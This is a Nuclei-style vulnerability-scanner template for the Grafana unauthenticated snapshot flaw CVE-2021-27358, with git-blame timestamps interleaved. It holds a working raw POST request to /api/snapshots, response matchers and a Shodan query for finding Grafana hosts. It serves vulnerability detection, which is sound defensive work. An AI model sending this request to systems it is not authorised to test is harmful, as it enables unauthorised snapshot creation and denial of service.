2021-12-24 12:17:55 +00:00
id : CVE-2021-27358
info :
2022-02-21 18:33:16 +00:00
name : Grafana Unauthenticated Snapshot Creation
2022-05-07 05:31:47 +00:00
author : pdteam,bing0o
2021-12-24 12:17:55 +00:00
severity : high
2022-04-15 16:39:44 +00:00
description : Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can create snapshots of sensitive data without authentication, potentially leading to unauthorized access and data exposure.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to the latest version of Grafana that includes a fix for CVE-2021-27358 or apply the provided patch to mitigate the vulnerability.
2021-12-24 12:17:55 +00:00
reference :
2021-12-24 13:32:18 +00:00
- https://phabricator.wikimedia.org/T274736
2021-12-24 12:17:55 +00:00
- https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/
- https://nvd.nist.gov/vuln/detail/CVE-2021-27358
2023-04-12 10:55:48 +00:00
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md
2023-07-11 19:49:27 +00:00
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md#742-2021-02-17
2021-12-24 13:38:52 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-12-24 13:38:52 +00:00
cve-id : CVE-2021-27358
2022-05-07 05:27:44 +00:00
cwe-id : CWE-306
2023-12-12 11:07:52 +00:00
epss-score : 0.02992
2024-01-14 13:49:27 +00:00
epss-percentile : 0.89874
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
2022-07-07 10:16:10 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : grafana
product : grafana
2023-09-06 12:09:01 +00:00
shodan-query : title:"Grafana"
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,grafana,unauth
2021-12-24 12:17:55 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-12-24 12:17:55 +00:00
- raw :
- |
POST /api/snapshots HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
{"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600 }
2021-12-24 13:32:18 +00:00
matchers-condition : and
2021-12-24 12:17:55 +00:00
matchers :
2023-07-11 19:49:27 +00:00
- type : word
part : body
2021-12-24 12:17:55 +00:00
words :
2021-12-24 13:32:18 +00:00
- '"deleteUrl":'
- '"deleteKey":'
condition : and
- type : word
part : header
words :
- "application/json"
2024-01-26 08:31:11 +00:00
# digest: 4a0a00473045022009920f8ccb01cfb10b39f5125c8e47e766a66b66fb8a155e8ff79e8ce9cee20f022100fa443cced8b2bc976ca3da97f0d7d2726ad6649a20bfee57c230c5f051bef8c6:922c64590222798bb761d5b6d8e72950